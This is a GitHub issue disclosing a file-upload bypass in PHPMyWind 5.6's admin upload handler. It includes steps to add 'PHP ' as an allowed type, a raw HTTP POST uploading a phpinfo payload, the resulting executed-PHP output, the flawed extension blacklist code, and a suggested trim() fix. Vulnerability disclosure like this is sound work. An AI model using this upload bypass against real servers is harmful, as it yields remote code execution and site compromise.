

New issue

[Jump to bottom](#)

I found upload vulnerability admin/upload_file_do.php getshell at version5.6 #5

[Open](#) liao10086 opened this issue on Apr 2, 2019 · 0 comments

liao10086 commented on Apr 2, 2019

1.login as admin
2.visit website setting
upload type add PHP (space)

网站信息配置

基本设置 - 附件设置 - 性能设置 - URL静态化 - 核心设置 - 水印设置 - 界面设置 - 增加新变量

上传图片类型: gif|png|jpg|bmp

上传软件类型: zip|gz|rar|iso|doc|xls|ppt|wps|txt

上传媒体类型: swf|flv|mpg|mp3|rm|rmvb|wmv|wma|wav|PHP

上传文件大小: 2097152

自动缩略图方式
(是“裁切”,否“填充”): ☒ 是 ☐ 否

流量统计代码:

because Windows will remove the space so by pass suffix check

3.upload a php file like name info.PHP

```
Raw Params Headers Hex
POST /admin/upload_file_do.php HTTP/1.1
Host: 192.168.10.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----16652753241279991171650028772
Content-Length: 238
Referer: http://192.168.10.12/admin/upload_file_do.php
Cookie:
IcW_search_cookie=YNfPPs6SvHiPoEPsfXQRgFv%2F2sahYea96iZsWfN8R%2F02aX0Lh%2BjaPBq1bz4uW793k96ZvhqE6tdSRGC167QWpQeHwkdFyvEG3kibD91UWQh%2BP%2F1Ar6K7XchyMsmnt9L19Jh5sD1eha9K8tdnJE2waoNB%2FvqybNumU2FzohgS6W55jCkawnHA%3D%3D; browserupdateorg=pause; phpwcmsBELang=en; PHPSESSID=u6r7jraupgkhik76gl3hj7v5o2; zp_user_auth=%2FwacEYgqgitxG-jTryhLk1vboQk2AW0oc9bNmQ8N2-Y%3D.7; uploadtype=http
Connection: close
Upgrade-Insecure-Requests: 1

-----16652753241279991171650028772
Content-Disposition: form-data; name="upfile"; filename=info.PHP
Content-Type: text/php

<?php phpinfo(); ?>

-----16652753241279991171650028772--
```

filename add a space

you can see upload success

上传新文件

技巧提示

- 如果您通过上传窗口上传失败时,您也可以尝试通过原始上传方式进行上传,然后将上传地址手动填写到文本框内
- php.ini设置的最大内容提交限制为: 8M; 最大文件上传大小为: 2M
- 允许上传格式 图片格式: gif|png|jpg|bmp 软件类型: zip|gz|rar|iso|doc|xls|ppt|wps|txt 多媒体类型: swf|flv|mpg|mp3|rm|rmvb|wmv|wma|wav|PHP

请选择上传文件: 未选择文件。

上传成功! 上传后路径为: uploads/media/20190402/1554208942.php, 大小为: 196

4.visit the link
you can see php code was execute

我的网站 - PHPMyWind 管理

phpinfo()

192.168.10.12/templates/defa

修改商品信息

+

192.168.10.12/uploads/media/20190402/1554208942.php

SQLXSSEncryptionEncodingOther

Load URL

Split URL

Execute

☐ Enable Post data☐ Enable Referrer

PHP Version 5.6.27



System	Windows NT DESKTOP-5086O1B 10.0 build 17134 (Windows 10) i586
Build Date	Oct 14 2016 10:15:39
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	cscript /nologo configure.js "--enable-snapshot-build"--enable-debug-pack"--disable-zts"--disable-isapi"--disable-nsapi"--without-mssql"--without-pdo-mssql"--without-pi3web"--with-pdo-oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared"--with-oci8-12=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared"--with-enchant=shared"--enable-object-out-dir=.\obj"--enable-com-dotnet=shared"--with-mcrypt=static"--without-analyzer"--with-pgsql"
Server API	CGI/FastCGI

because at data/httpfile/upload.class.php

```
37 ->$tempfile_tn.=isset($_FILES[$upfile]['tmp_name'])?.$_FILES[$upfile]['tmp_name'].'';
38 ...if($tempfile_tn==''.or.!is_uploaded_file($tempfile_tn))
39 {
40     ->return.'请选择要上传的文件!';
41     ->return.'请选择上传文件或您上传的文件超过php.ini设定最大文件上传限制['.ini_get(
        'upload_max_filesize').']!';
42 }
43
44
45 ->获取上传文件信息
46 ->$tempfile....=$_FILES[$upfile];
47 ->$tempfile_name=$_FILES[$upfile]['name'];
48 ->$tempfile_size=$_FILES[$upfile]['size'];
49 ->$tempfile_ext.=strtolower(substr(strrchr($tempfile_name,'.'),1));
50
51
52 ->强制限制的某些文件类型禁止上传
53 if(in_array($tempfile_ext,explode('|','php|pl|cgi|asp|aspx|jsp|php3|shtml|shtml')))
54 {
55     ->return.'您上传的文件类型为: ['. $tempfile_ext.'], 该类文件不允许通过后台上传!';
56 }
57
58
59 ->检查文件类型,上传文件目录
```

you do not check the input filename

so trim(filename) can help you

author by xijun.liao@dbappsecurity.com.cn

version 5.6

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

